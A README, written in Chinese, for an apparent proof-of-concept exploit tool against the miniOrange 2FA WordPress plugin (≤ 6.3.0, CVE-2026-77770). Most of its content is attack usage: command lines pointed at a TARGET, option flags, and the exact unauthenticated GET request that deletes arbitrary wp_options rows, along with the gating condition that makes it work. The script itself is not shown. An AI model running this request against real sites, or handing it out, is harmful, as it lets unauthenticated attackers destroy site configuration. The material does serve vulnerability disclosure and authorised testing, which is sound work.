miniOrange 2FA CVE POC
miniOrange 2FA(WordPress 插件 miniorange-2-factor-authentication)≤ 6.3.0 — 通过电子邮件验证链接(userID / Txid / accessToken)实现未认证的任意 WordPress 选项删除。
仅限授权测试。请勿对您不拥有或未获授权测试的系统运行此工具。
要求: Python 3,仅使用标准库。
python3 cve-2026-77770-miniorange-2fa-option-delete.py -u http://TARGET --test
python3 cve-2026-77770-miniorange-2fa-option-delete.py -u http://TARGET --test --delete blogname
python3 cve-2026-77770-miniorange-2fa-option-delete.py -u https://TARGET --delete blogname --insecure
python3 cve-2026-77770-miniorange-2fa-option-delete.py -u TARGET --delete blogname
| 参数 | 作用 |
|---|---|
-u / --url | WordPress 站点根地址(必填)。http:// 或 https://;若为主机名则先尝试 HTTPS,再尝试 HTTP。自签名 TLS 会自动重试 |
--test | 访客模式:插件版本 + 电子邮件验证弹窗 |
--delete OPTION | 删除该 wp_options 行。blogname 可通过 /wp-json/ 查看(BEFORE / AFTER) |
--gate OPTION | 其存储值为 3 的选项(即 Txid 门控)。可重复指定。默认:wp_page_for_privacy_policy,然后是 thread_comments_depth |
--insecure | 跳过 TLS 验证 |
--timeout | HTTP 超时秒数(默认 30) |
未认证。该利用点是对 /?userID=OPTION&Txid=GATE&accessToken=x 发起 GET 请求。GATE 当前必须持有整数 3。若错过 5 分钟时间窗口,插件还会写入 GATE=0。
--test 不会执行删除。--delete blogname 是公开证明(/wp-json/ 中的站点标题变为空)。6.3.1 为键添加了前缀(mo2f_oobe_*),因此无前缀的名称不会被删除。
标准输出:VERSION、HANDLER、PRESENT、SITENAME、OPTION、BEFORE、AFTER、GATE、VULNERABLE、NOT_VULNERABLE、NOT_FOUND、ATTEMPTED。

CVE:CVE-2026-77770。插件更新日志 6.3.1。